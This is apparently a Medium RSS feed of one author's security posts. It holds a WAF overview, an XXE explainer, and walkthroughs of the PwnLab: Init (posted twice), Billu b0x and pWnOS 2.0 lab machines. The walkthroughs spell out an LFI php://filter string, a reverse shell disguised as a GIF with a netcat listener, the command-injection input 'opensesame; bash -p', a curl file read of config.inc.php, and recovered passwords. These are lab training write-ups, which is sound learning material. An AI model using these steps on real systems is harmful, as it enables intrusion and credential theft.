<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sainadh Jamalpur on Medium]]></title>
        <description><![CDATA[Stories by Sainadh Jamalpur on Medium]]></description>
        <link>https://medium.com/@sainadhjamalpur?source=rss-71be9fc7be88------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*paOh5MKgoaqnMte67Jxyeg.jpeg</url>
            <title>Stories by Sainadh Jamalpur on Medium</title>
            <link>https://medium.com/@sainadhjamalpur?source=rss-71be9fc7be88------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 09:17:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sainadhjamalpur/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Protect Your Website from Common Attacks with a WAF Solution]]></title>
            <link>https://medium.com/@sainadhjamalpur/protect-your-website-from-common-attacks-with-a-waf-solution-b6ae7b896e2a?source=rss-71be9fc7be88------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6ae7b896e2a</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Sainadh Jamalpur]]></dc:creator>
            <pubDate>Sun, 26 Mar 2023 13:59:24 GMT</pubDate>
            <atom:updated>2023-03-26T14:04:13.764Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z5V44gxPA2UFkAJUrYis1A.jpeg" /></figure><p>If anyone wants to learn about the Web application security and want to get hands on experience by practice the labs.</p><p><a href="https://portswigger.net/web-security">https://portswigger.net/web-security</a></p><p>It is very often that security people face situation like “We found XSS or SQL or other common attacks but app team need to deploy the code into the production they don’t have time to fix the issue now. Then what is your solution to fix that issue as a security professional ???</p><p>We can suggest them to configure the WAF to block these attacks</p><p>Most popular WAF solutions include predefined rules to protect against common types of attacks. Here are some examples of predefined WAF rules in popular WAF solutions:</p><ol><li><strong>ModSecurity</strong>: ModSecurity is an open-source WAF that provides a range of predefined rules for protecting against XSS attacks. Some examples of ModSecurity XSS rules include:</li></ol><ul><li>OWASP ModSecurity Core Rule Set (CRS): This is a collection of predefined rules that address a variety of security risks, including XSS attacks. The OWASP CRS includes rules to block XSS payloads, prevent script injection, and protect against other common attack patterns.</li><li>XSS filter rules: ModSecurity includes rules to detect and block XSS attacks that use various techniques, such as inline scripts, event handlers, and meta tags.</li></ul><p>2. <strong>AWS WAF</strong>: AWS WAF is a cloud-based WAF that provides a range of predefined rules for protecting against XSS attacks. Some examples of AWS WAF XSS rules include:</p><ul><li>AWS managed rules: AWS provides a range of managed rules for protecting against common types of attacks, including XSS attacks. These rules include protections for common XSS payloads and vectors, as well as other attack patterns.</li><li>Custom rules: AWS WAF allows you to create custom rules to protect against specific attack patterns. You can create rules to block specific URLs, query strings, or request headers that are commonly used in XSS attacks.</li></ul><p>3. <strong>Cloudflare WAF</strong>: Cloudflare WAF is a cloud-based WAF that provides a range of predefined rules for protecting against XSS attacks. Some examples of Cloudflare WAF XSS rules include:</p><ul><li>OWASP Top 10 rules: Cloudflare provides a set of rules that address the OWASP Top 10 security risks, including XSS attacks. These rules include protections for common XSS payloads and vectors, as well as other attack patterns.</li><li>Signature-based rules: Cloudflare provides signature-based rules that detect and block known XSS payloads and vectors, such as &lt;script&gt; tags and JavaScript event handlers.</li></ul><p>It’s important to note that these are just a few examples of predefined WAF rules for protection, and the specific rules and configurations may vary depending on the WAF solution and the website being protected.</p><p>Here are some of the popular WAF solutions available, both commercial and open-source:</p><ol><li><strong>ModSecurity</strong>: ModSecurity is an open-source WAF that can be used as a standalone application or as a module for the Apache HTTP Server. It offers a range of security features, including protection against SQL injection, cross-site scripting (XSS), and other web-based attacks.</li><li><strong>AWS WAF</strong>: AWS WAF is a cloud-based WAF service offered by Amazon Web Services (AWS). It offers protection against common web-based attacks, including SQL injection and cross-site scripting (XSS), and can be used to protect websites and applications hosted on AWS or on-premises servers.</li><li><strong>Cloudflare WAF</strong>: Cloudflare WAF is a cloud-based WAF service offered by Cloudflare. It offers protection against various web-based attacks, including SQL injection and cross-site scripting (XSS), and can be used to protect websites and applications hosted on Cloudflare’s network.</li><li><strong>F5 BIG-IP</strong>: F5 BIG-IP is a commercial WAF solution that provides a range of security features, including protection against web-based attacks, DDoS protection, and SSL offloading. It is available as a hardware appliance or a virtual appliance.</li><li><strong>Imperva Web Application Firewall</strong>: Imperva Web Application Firewall is a commercial WAF solution that offers protection against a range of web-based attacks, including SQL injection and cross-site scripting (XSS). It can be deployed on-premises, in the cloud, or as a hybrid solution.</li><li><strong>Barracuda Web Application Firewall</strong>: Barracuda Web Application Firewall is a commercial WAF solution that provides protection against web-based attacks, including SQL injection and cross-site scripting (XSS). It can be deployed on-premises, in the cloud, or as a virtual appliance.</li><li><strong>Akamai Kona Site Defender</strong>: Akamai Kona Site Defender is a cloud-based WAF service offered by Akamai. It provides protection against web-based attacks, including SQL injection and cross-site scripting (XSS), and can be used to protect websites and applications hosted on Akamai’s network.</li></ol><p>These are just a few examples of popular WAF solutions available in the market. It’s important to carefully evaluate the features and capabilities of each solution to determine which one is best suited for your needs.</p><p>There are some scenarios where a WAF is generally recommended:</p><ol><li><strong>Public-facing web applications</strong>: Web applications that are accessible over the internet are at higher risk of being targeted by attackers, and a WAF can provide an additional layer of protection against attacks.</li><li><strong>High-risk applications</strong>: Web applications that store sensitive data or perform critical functions, such as financial transactions, are at higher risk of being targeted by attackers. A WAF can help protect against attacks that could compromise the security of these applications.</li><li><strong>Applications with known vulnerabilities</strong>: If a web application has known vulnerabilities that cannot be immediately patched, a WAF can help mitigate the risk of attacks targeting these vulnerabilities.</li><li><strong>Compliance requirements</strong>: Some compliance standards, such as PCI DSS, require the use of a WAF for certain types of web applications.</li></ol><p><strong>Note: </strong>It’s important to note that no security solution can provide 100% protection against all possible attacks, and a comprehensive security strategy may require multiple layers of protection, including both preventative and detective controls. WAF is just one layer which act as a one of protection mechanism.</p><p>References:</p><p><a href="https://docs.aws.amazon.com/waf/latest/developerguide/waf-rule-statement-type-xss-match.html">Cross-site scripting attack rule statement</a></p><iframe src="https://drive.google.com/viewerng/viewer?url=https%3A//www.cloudflare.com/static/media/pdf/cloudflare-datasheet-waf.pdf&amp;embedded=true" width="600" height="780" frameborder="0" scrolling="no"><a href="https://medium.com/media/8511e6b1a8afe3214685795d38a46381/href">https://medium.com/media/8511e6b1a8afe3214685795d38a46381/href</a></iframe><p><a href="https://rishabhrrchauhan.medium.com/cyber-security-prevent-sql-injection-using-modsecurity-f2d866e81dfd">Cyber Security | Prevent SQL injection using ModSecurity.</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6ae7b896e2a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Leak application backend data to exploit the XXE Vulnerability]]></title>
            <link>https://medium.com/@sainadhjamalpur/leak-application-backend-data-to-exploit-the-xxe-vulnerability-73d0fc1976df?source=rss-71be9fc7be88------2</link>
            <guid isPermaLink="false">https://medium.com/p/73d0fc1976df</guid>
            <dc:creator><![CDATA[Sainadh Jamalpur]]></dc:creator>
            <pubDate>Sat, 29 Feb 2020 11:44:06 GMT</pubDate>
            <atom:updated>2020-02-29T11:44:06.665Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi folks, in this blog i will explain what is XXE injection and illustrate some common example attacks, and finally summarize this post with prevention techniques.</p><p>Technically, XXE(XML External Entity) is a vulnerability which allows attacker to view/ fetch the information from internal file system of the application server, and can leverage this vulnerability to scan internal ports of the target application server which is nothing but server side request forgery (SSRF) attacks.</p><p>In my daily engagement with many of the banking clients using the XML format to transmit the data between the browser and server. Most of the developer are not aware of the problems if they allow XML external entitys in the application.</p><p><strong>What exactly XML is used and how it is different from HTML?</strong></p><p>XML is extensible markup language. XML is used for store and transport the data while HTML is used for formatting the data and displaying the data.</p><p><strong>Let’s see what is Basic Syntax of the XML</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*ZB7fAKo9d4ed8kCdfPS8pw.png" /><figcaption>Default XML Syntax</figcaption></figure><p><strong>ATTACK SCENARIO</strong></p><p>Now, Imagine there is a search field in the application for searching the flights for booking. whenever user entered keyword in the field, it will send the XML format data to the application server. if we capture the request in Burp Suite that request looks like below as showing in the image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i6huVn5px2V67VXdWxtMNg.png" /><figcaption>BASIC XML FORMAT</figcaption></figure><p><strong>Now our next part is Detect the XXE</strong></p><p>We are going to see whether this application is vulnerable to XXE or not with below request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uwKS35tf9NvhuoZ0GUAxqQ.png" /><figcaption>Detect the XXE</figcaption></figure><p>As shown in the above image we have successfully identify the XXE end point. now we are going to exploit this. We will malformed above request to retrieve the sensitive data from the backend application server as shown in the below figure</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nBp_LmT6AZduF3pciqet6g.png" /><figcaption>Malformed request to retrieve the sensitive information</figcaption></figure><p><strong>Payload explanation</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*C4H8x6PcIWNPAecHw_wMCA.png" /><figcaption>Detail description of Payload</figcaption></figure><p><strong>Different types of XXE attacks?</strong></p><p><strong>Disclosure of confidential data:</strong> an atttacker can retrive the sensitive files like //etc/passwd etc..</p><p><strong>denial of service:</strong> An attacker can perform the denial of service to cause the availability of the application server.</p><p><strong>Server side request forgery:</strong> attacker can access the internal file system which is not available to the outside environment.</p><p><strong>Port scanning:</strong> an attacker can perform the internal port scanning of the target application server.</p><p><strong>Mitigation for XXE Vulnerabilities:</strong></p><p>Disable external entities. <a href="https://owasp.org/www-project-cheat-sheets/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html">OWASP TOP 10</a> specified a mitigation techniques for disable and protect application form XXE attacks.</p><p><strong>References:</strong></p><ul><li><a href="https://xmlwriter.net/xml_guide/doctype_declaration.shtml">DOCTYPE Declaration &amp; DTDs</a></li><li><a href="https://www.w3schools.com/xml/xml_dtd.asp">XML DTD</a></li><li><a href="https://xmlwriter.net/xml_guide/entity_declaration.shtml">ENTITY Declaration</a></li><li><a href="https://www.tutorialspoint.com/dtd/dtd_entities.htm">DTD - Entities</a></li><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection">PayloadsAllTheThings/XXE Injection at master · swisskyrepo/PayloadsAllTheThings</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=73d0fc1976df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pwnlab_init walkthrough]]></title>
            <link>https://medium.com/@sainadhjamalpur/pwnlab-init-walkthrough-503a436a2eab?source=rss-71be9fc7be88------2</link>
            <guid isPermaLink="false">https://medium.com/p/503a436a2eab</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[sysadmin]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Sainadh Jamalpur]]></dc:creator>
            <pubDate>Mon, 19 Nov 2018 18:00:41 GMT</pubDate>
            <atom:updated>2018-11-19T18:00:41.523Z</atom:updated>
            <content:encoded><![CDATA[<p>Link : <a href="https://www.vulnhub.com/entry/pwnlab-init,158/">https://www.vulnhub.com/entry/pwnlab-init,158/</a></p><p>As usual we started with Port scan here is result for Port scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*tQC6Z3FoaA0-1NnFyjbkvw.png" /></figure><p>Since we didn’t find any ports for smb or ssh so open the webserver will see what is in that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*UEM07n0cEBcjek6rtLuyxw.png" /></figure><p>The above image shows the login and upload will see what happened when we entered into login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*_-a5zMGPwYyUJODDE9WMGA.png" /></figure><p>It seems that login page is efected by the LFI vulnerability because the “page” parameter serves the pages in the website</p><p>So I used the following website for php filter which is nothing but we used for LFI Vulnerabilities</p><p><a href="https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/">https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/</a></p><p>Where I used the following command I run in the browser</p><p><strong>php://filter/convert.base64-encode/resource=config</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*IMYYdXxEZR7dUiIwD9CXhA.png" /></figure><p>I got the base64 content after I run the above in the browser</p><p>Now I convert the above base64 to text I got the following information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3LRg8gS2OqNhCu7jGHsMKw.png" /></figure><p>I tried to login with the above creditionals in the website none of them worked for me</p><p>So I login it with mysql</p><p>Mysql -h ipaddress -u root -p</p><p>Password: H4u%QJ_H99</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*69uSpXw0txZEUTwUirpdaw.png" /></figure><p>I found the users and passwords in the mysql databases</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*vmgzIwRk5NLQJejfVz7MWg.png" /></figure><p>Next I have decoded the three passwords as</p><p>Kent JWzXuBJJNy</p><p>Mike SIfdsTEn6I</p><p>Kane iSv5Ym2GRo</p><p>I have used username: kent and password: JWzXuBJJNy to login into the application</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*SLolProt-prJnTxr_ufikw.png" /></figure><p>The upload function checks whether the upload files are images or not I changed the extensions but it checks and outputs a error</p><p>I created the fake.png file which contains the php code</p><p>I have taken the reverse shell file from the pentestmonkey and added <strong>GIF </strong>at the start of the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*-GtWG187hIgI29mDuu5Ctw.png" /></figure><p>I made a changes accroding to the my kali linux and uploaded the file with .gif extension</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*OjvZMz2pS06-KlQ9dsx5Jg.png" /></figure><p>After uploaded the file. I go to /upload/ folder where I copy the file name of my uplaoded file and open burpsuite and I added the <strong>lang </strong>in cookie as shown in the below figure</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*SZXplvqimi5SoCDqw_WFVA.png" /></figure><p>I listen with the netcat in kali</p><p>after I click go button in burp I got a reverse shell yahoooo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*O4p1Ltb5D6Nh2RT4K-ncgg.png" /></figure><p>We have limited shell I extended this shell with the</p><p><strong>python -c ‘import pty;pty.spawn(“/bin/bash”)’</strong></p><p>Next I switch to the each user with the command</p><p><strong>Su kane, su kent su</strong> mike (but mike with the above base64 converted password is not worked ) we leave it for now. First I switched with <strong>Kent</strong> and see whether any interesting files are there or not</p><p>With the <strong>ls -la command </strong>in the <strong>kent</strong> home directory I found nothing this time I tried with the <strong>kane </strong>user I login with the kane using su kane and run the <strong>ls -la </strong>found this</p><p>Found interesting file. Since we are unable to login with mike user this file looks like the <strong>msgmike something here interesting</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*kV8wl8HFkOCB4_Bt8RD5bA.png" /></figure><p>Next I run the following commands to gather the information about the <strong>msgmike </strong>file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*gSow3d9L92oKBj_iLzDZYg.png" /></figure><p>Next I switched to the <strong>user mike</strong> with the following code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*tRyZEVMYsju49YFrO8VBkw.png" /></figure><p>Now I first exported a environment variable with the following command</p><p><strong>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*bP2unPTHsFSzJSXUAd-NTg.png" /></figure><p>Yeah we found msg2root file let’s run this file it asking <strong>message to root </strong>I don’t know wt should I give input so I gather info about the file using <strong>string command</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*PAHSvbNZuwA1YCGx_HqS9g.png" /></figure><p>It displays the txt with the some system commands probably it is nothing but command injection technique</p><p>So I run the following command when It is asked for <strong>message for root</strong></p><p><strong>opensesame; bash -p</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*HAR-MUIzGUzSk4OW7Hw2Fg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=503a436a2eab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pwnlab_init walkthrough]]></title>
            <link>https://medium.com/@sainadhjamalpur/pwnlab-init-walkthrough-298cb2f27802?source=rss-71be9fc7be88------2</link>
            <guid isPermaLink="false">https://medium.com/p/298cb2f27802</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Sainadh Jamalpur]]></dc:creator>
            <pubDate>Sun, 18 Nov 2018 14:25:04 GMT</pubDate>
            <atom:updated>2018-11-18T14:25:04.946Z</atom:updated>
            <content:encoded><![CDATA[<p>Link : <a href="https://www.vulnhub.com/entry/pwnlab-init,158/">https://www.vulnhub.com/entry/pwnlab-init,158/</a></p><p>As usual we started with Port scan here is result for Port scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*tQC6Z3FoaA0-1NnFyjbkvw.png" /></figure><p>Since we didn’t find any ports for smb or ssh so open the webserver will see what is in that</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*UEM07n0cEBcjek6rtLuyxw.png" /></figure><p>The above image shows the login and upload will see what happened when we entered into login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*_-a5zMGPwYyUJODDE9WMGA.png" /></figure><p>It seems that login page is efected by the LFI vulnerability because the “page” parameter serves the pages in the website</p><p>So I used the following website for php filter which is nothing but we used for LFI Vulnerabilities</p><p><a href="https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/">https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/</a></p><p>Where I used the following command I run in the browser</p><p><strong>php://filter/convert.base64-encode/resource=config</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*IMYYdXxEZR7dUiIwD9CXhA.png" /></figure><p>I got the base64 content after I run the above in the browser</p><p>Now I convert the above base64 to text I got the following information</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3LRg8gS2OqNhCu7jGHsMKw.png" /></figure><p>I tried to login with the above creditionals in the website none of them worked for me</p><p>So I login it with mysql</p><p>Mysql -h ipaddress -u root -p</p><p>Password: H4u%QJ_H99</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*69uSpXw0txZEUTwUirpdaw.png" /></figure><p>I found the users and passwords in the mysql databases</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*vmgzIwRk5NLQJejfVz7MWg.png" /></figure><p>Next I have decoded the three passwords as</p><p>Kent JWzXuBJJNy</p><p>Mike SIfdsTEn6I</p><p>Kane iSv5Ym2GRo</p><p>I have used username: kent and password: JWzXuBJJNy to login into the application</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*SLolProt-prJnTxr_ufikw.png" /></figure><p>The upload function checks whether the upload files are images or not I changed the extensions but it checks and outputs a error</p><p>I created the fake.png file which contains the php code</p><p>I have taken the reverse shell file from the pentestmonkey and added <strong>GIF </strong>at the start of the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*-GtWG187hIgI29mDuu5Ctw.png" /></figure><p>I made a changes accroding to the my kali linux and uploaded the file with .gif extension</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*OjvZMz2pS06-KlQ9dsx5Jg.png" /></figure><p>After uploaded the file. I go to /upload/ folder where I copy the file name of my uplaoded file and open burpsuite and I added the <strong>lang </strong>in cookie as shown in the below figure</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*SZXplvqimi5SoCDqw_WFVA.png" /></figure><p>I listen with the netcat in kali</p><p>after I click go button in burp I got a reverse shell yahoooo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*O4p1Ltb5D6Nh2RT4K-ncgg.png" /></figure><p>We have limited shell I extended this shell with the</p><p><strong>python -c ‘import pty;pty.spawn(“/bin/bash”)’</strong></p><p>Next I switch to the each user with the command</p><p><strong>Su kane, su kent su</strong> mike (but mike with the above base64 converted password is not worked ) we leave it for now. First I switched with <strong>Kent</strong> and see whether any interesting files are there or not</p><p>With the <strong>ls -la command </strong>in the <strong>kent</strong> home directory I found nothing this time I tried with the <strong>kane </strong>user I login with the kane using su kane and run the <strong>ls -la </strong>found this</p><p>Found interesting file. Since we are unable to login with mike user this file looks like the <strong>msgmike something here interesting</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*kV8wl8HFkOCB4_Bt8RD5bA.png" /></figure><p>Next I run the following commands to gather the information about the <strong>msgmike </strong>file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*gSow3d9L92oKBj_iLzDZYg.png" /></figure><p>Next I switched to the <strong>user mike</strong> with the following code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*tRyZEVMYsju49YFrO8VBkw.png" /></figure><p>Now I first exported a environment variable with the following command</p><p><strong>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*bP2unPTHsFSzJSXUAd-NTg.png" /></figure><p>Yeah we found msg2root file let’s run this file it asking <strong>message to root </strong>I don’t know wt should I give input so I gather info about the file using <strong>string command</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*PAHSvbNZuwA1YCGx_HqS9g.png" /></figure><p>It displays the txt with the some system commands probably it is nothing but command injection technique</p><p>So I run the following command when It is asked for <strong>message for root</strong></p><p><strong>opensesame; bash -p</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*HAR-MUIzGUzSk4OW7Hw2Fg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=298cb2f27802" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Billu b0x walkthrough]]></title>
            <link>https://medium.com/@sainadhjamalpur/billu-b0x-walkthrough-71da58f22858?source=rss-71be9fc7be88------2</link>
            <guid isPermaLink="false">https://medium.com/p/71da58f22858</guid>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Sainadh Jamalpur]]></dc:creator>
            <pubDate>Tue, 30 Jan 2018 14:04:45 GMT</pubDate>
            <atom:updated>2018-01-30T14:06:29.675Z</atom:updated>
            <content:encoded><![CDATA[<p>As usual we started with netdiscover found attacker machine IP as 192.168.2.5 let’s start with information gathering about this with nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*KaZRpdMIEnXSYdfNt95nzg.png" /></figure><p>found two open ports let’s scan port 80 with nikto if can we found any interesting things there let’s see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-YVQNnTFeAE5D4jBrIa0nQ.png" /></figure><p>found nothing there, Let’s try with dirb, luckily we found interesting folders</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*t3Wn6ZqU-isKGYFWpLu4Yw.png" /></figure><p>let’s play around with these folders i think /add is prone to file upload vulnerability let’s try can we got the shell or not edit the /usr/share/webshells/php/php_reverse_shell.php with your kali machine ip and port no</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*aAmxVskxntwF-2jqLbjtHg.png" /></figure><p>Now listen on your kali machine with netcat as</p><p>nc -lvp 1111</p><p>nothing happens it frequently said that there is no file is selected even i selected then i see source code of it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*h59-U70RFG77mVa5BPb6OQ.png" /></figure><p>there is no useful in it let’s try with <strong>“test”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*BUGMpu66fmbTRQ4K1g6YFA.png" /></figure><p>seems that with curl we can grab information let’s try with curl</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*fxcBZu86CD_VjlnXelS7-w.png" /></figure><p>seems that we found user name password for phpmyadmin goto /phpmy and check our luck.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*96fr02k4aHxbmtpvbH83jg.png" /></figure><p>Yes we logged in. we can see auth table there username and password is there</p><p>Now we can use similar method to download config.inc.php file which may contain username and password for root</p><p>curl -X POST -F file=/var/www/phpmy/config.inc.php http://192.168.2.4/test</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BBt6iYGVx5BOISfckxcePA.png" /></figure><p>yes we got the password fire up ssh and try to login as root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*n4CVOGuYfNCZ0Qw0L3njUw.png" /></figure><p>Finish we successfully logged as root now we have a full control over a system.</p><p>Note: This machine can be solved in another method</p><p>Thanks for reading..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=71da58f22858" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[pWnOS V2.0 walk through]]></title>
            <link>https://medium.com/@sainadhjamalpur/pwnos-v2-0-walk-through-3a378cdf4bc8?source=rss-71be9fc7be88------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a378cdf4bc8</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Sainadh Jamalpur]]></dc:creator>
            <pubDate>Sun, 28 Jan 2018 07:14:31 GMT</pubDate>
            <atom:updated>2018-01-28T07:14:31.177Z</atom:updated>
            <content:encoded><![CDATA[<p>Let us start with netdiscover command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*2k5BXR1YdEaITkABdnz9YQ.png" /></figure><p>ya we found 10.10.10.100 is our attack machine IP next fire up Nmap see what services running on it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*Jx-5XtpywtVNmVCSptcDOg.png" /></figure><p>we found that only two services are running at target lets see what is hosted on port 80 and scan with nikto</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSU7w_-UjQAiOFyiGCEoQA.png" /></figure><p>we didn’t found any fruitful information there let’s check our luck with dirb tool</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*uJDbXeqAfg38xbrmWXTvTg.png" /></figure><p>we found useful information that host runs a <strong>simple php blog</strong> which has a various vulnerability i found them here <a href="https://www.exploit-db.com/exploits/16883/">https://www.exploit-db.com/exploits/16883/</a></p><p>Fire up msf search for relative CVE-2005–2733 use exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*zW20RSKq-PQjmZs0wNuAxQ.png" /></figure><p>setup RHOST and URI finally run exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*9XUHCRYTsZB5ivFp7CE42g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*ntSjAe5eYsxS7vHarkiBog.png" /></figure><p>after success our exploit a temporary username along with the password is created in my case user name is 0B2s6t and password is RVXpB6</p><p>NOTE: it is not particular to all users it generated randomly</p><p>Next task is to login into that blog see how file upload vulnerability used for us. We need to go to 10.10.10.100/blog/login.php and login as above username and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cg-_iQ5Bwpj2baflI7LSOg.png" /></figure><p>after successful login we are going to upload a php reverse shell from /usr/share/webshells/php/php_reverse_shell.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*8ONVfYOXmo6Kze48l_-jnw.png" /></figure><p>i opened the file and setup my kali machine Ip and port no to 1111</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*qvUqkS5YAgIZAVSmOhl0dw.png" /></figure><p>after changed this upload file and listening on kali machine</p><p>after uploading go to the 10.10.10.100/blog/images there you can find the php reverse shell file just now we uploaded just open that file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*B17UBWjTNx04I5y6QhX8_g.png" /></figure><p>yaa we got the shell..</p><h3><strong>Privilege Escalation</strong></h3><p>i play around for any file is use for our final game i found a file called mysqli_connect.php in /var folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*KQDWfy2I1A_LIQeDJP-jGQ.png" /></figure><p>it seems that we found root creditinals let’s try can we use ssh</p><p>let’s try with ssh root@10.10.10.100 and use password as root@ISIntS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*8Fo778pEXWmWxKZoSKVDLg.png" /></figure><p>yah..! we have got complete control over the system.</p><p>such a nice machine. this machine can also be 